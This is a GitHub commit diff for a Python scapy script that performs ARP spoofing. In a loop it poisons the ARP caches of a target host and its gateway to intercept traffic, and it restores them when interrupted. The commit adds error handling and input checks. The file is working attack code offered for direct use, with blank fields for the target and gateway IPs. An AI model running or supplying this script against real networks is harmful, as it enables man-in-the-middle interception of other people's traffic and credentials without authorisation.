1
- # Javi Ferrándiz | github - https://github.com/javisys
1
+ # Javi Ferrándiz | github - https://github.com/javisys | Updated on 12/08/2024
2
2
import scapy .all as scapy
3
3
import time
4
4
@@ -8,40 +8,50 @@ def get_mac(ip):
8
8
arp_req_broadcast = broadcast / arp_req
9
9
answered_list = scapy .srp (arp_req_broadcast , timeout = 5 , verbose = False )[0 ]
10
10
11
- return answered_list [0 ][1 ].hwsrc
12
-
13
- #print(scapy.ls(scapy.ARP))
11
+ if answered_list :
12
+ return answered_list [0 ][1 ].hwsrc
13
+ else :
14
+ print (f"Could not obtain the MAC for the IP { ip } " )
15
+ return None
14
16
15
17
def spoofing (target_ip , spoof_ip ):
16
- paquete = scapy .ARP (op = 2 , pdst = target_ip , hwdst = get_mac (target_ip ), psrc = spoof_ip )
18
+ target_mac = get_mac (target_ip )
19
+ if target_mac is None :
20
+ print (f"Spoofing could not be performed for { target_ip } ." )
21
+ return
17
22
23
+ paquete = scapy .ARP (op = 2 , pdst = target_ip , hwdst = target_mac , psrc = spoof_ip )
18
24
scapy .send (paquete , verbose = False )
19
25
20
26
def restart (destination_ip , src_ip ):
21
27
destination_mac = get_mac (destination_ip )
22
28
src_mac = get_mac (src_ip )
29
+
30
+ if destination_mac is None or src_mac is None :
31
+ print (f"Failed to restore the ARP table for { destination_ip } o { src_ip } ." )
32
+ return
33
+
23
34
paquete = scapy .ARP (op = 2 , pdst = destination_ip , hwdst = destination_mac , psrc = src_ip , hwsrc = src_mac )
24
35
scapy .send (paquete , verbose = False )
25
36
26
-
27
-
28
- target_ip = "" # Enter the target IP
29
- gateway_ip = "" # Enter the gateway's IP
30
-
31
-
32
- try :
33
- sent_packets_count = 0
34
- while True :
35
- spoofing (target_ip , gateway_ip )
36
- spoofing (gateway_ip , target_ip )
37
- sent_packets_count = sent_packets_count + 2
38
- print ("\r [*] Packets Sent " + str (sent_packets_count ), end = "" )
39
- time .sleep (2 ) # Waits for two seconds
40
-
41
- except KeyboardInterrupt :
42
- print ("\n Ctrl + C pressed.............Exiting" )
43
- restart (target_ip , gateway_ip )
44
- restart (gateway_ip , target_ip )
45
- print ("[*] ARP Spoof Stopped" )
46
-
47
-
37
+ # Ingresar la IP del objetivo y la IP del gateway
38
+ target_ip = "" # Target IP
39
+ gateway_ip = "" # Gateway
40
+
41
+ if not target_ip or not gateway_ip :
42
+ print ("[!!!] The IPs of the target and gateway must be defined." )
43
+ else :
44
+ try :
45
+ sent_packets_count = 0
46
+ while True :
47
+ spoofing (target_ip , gateway_ip )
48
+ spoofing (gateway_ip , target_ip )
49
+ sent_packets_count += 2
50
+ print ("\r [*] Packets Sent " + str (sent_packets_count ), end = "" )
51
+ time .sleep (2 ) # Wait two seconds
52
+
53
+ except KeyboardInterrupt :
54
+ print ("\n Ctrl + C presionado.............Saliendo" )
55
+ restart (target_ip , gateway_ip )
56
+ restart (gateway_ip , target_ip )
57
+ print ("[*] ARP Spoof stopped" )
0 commit comments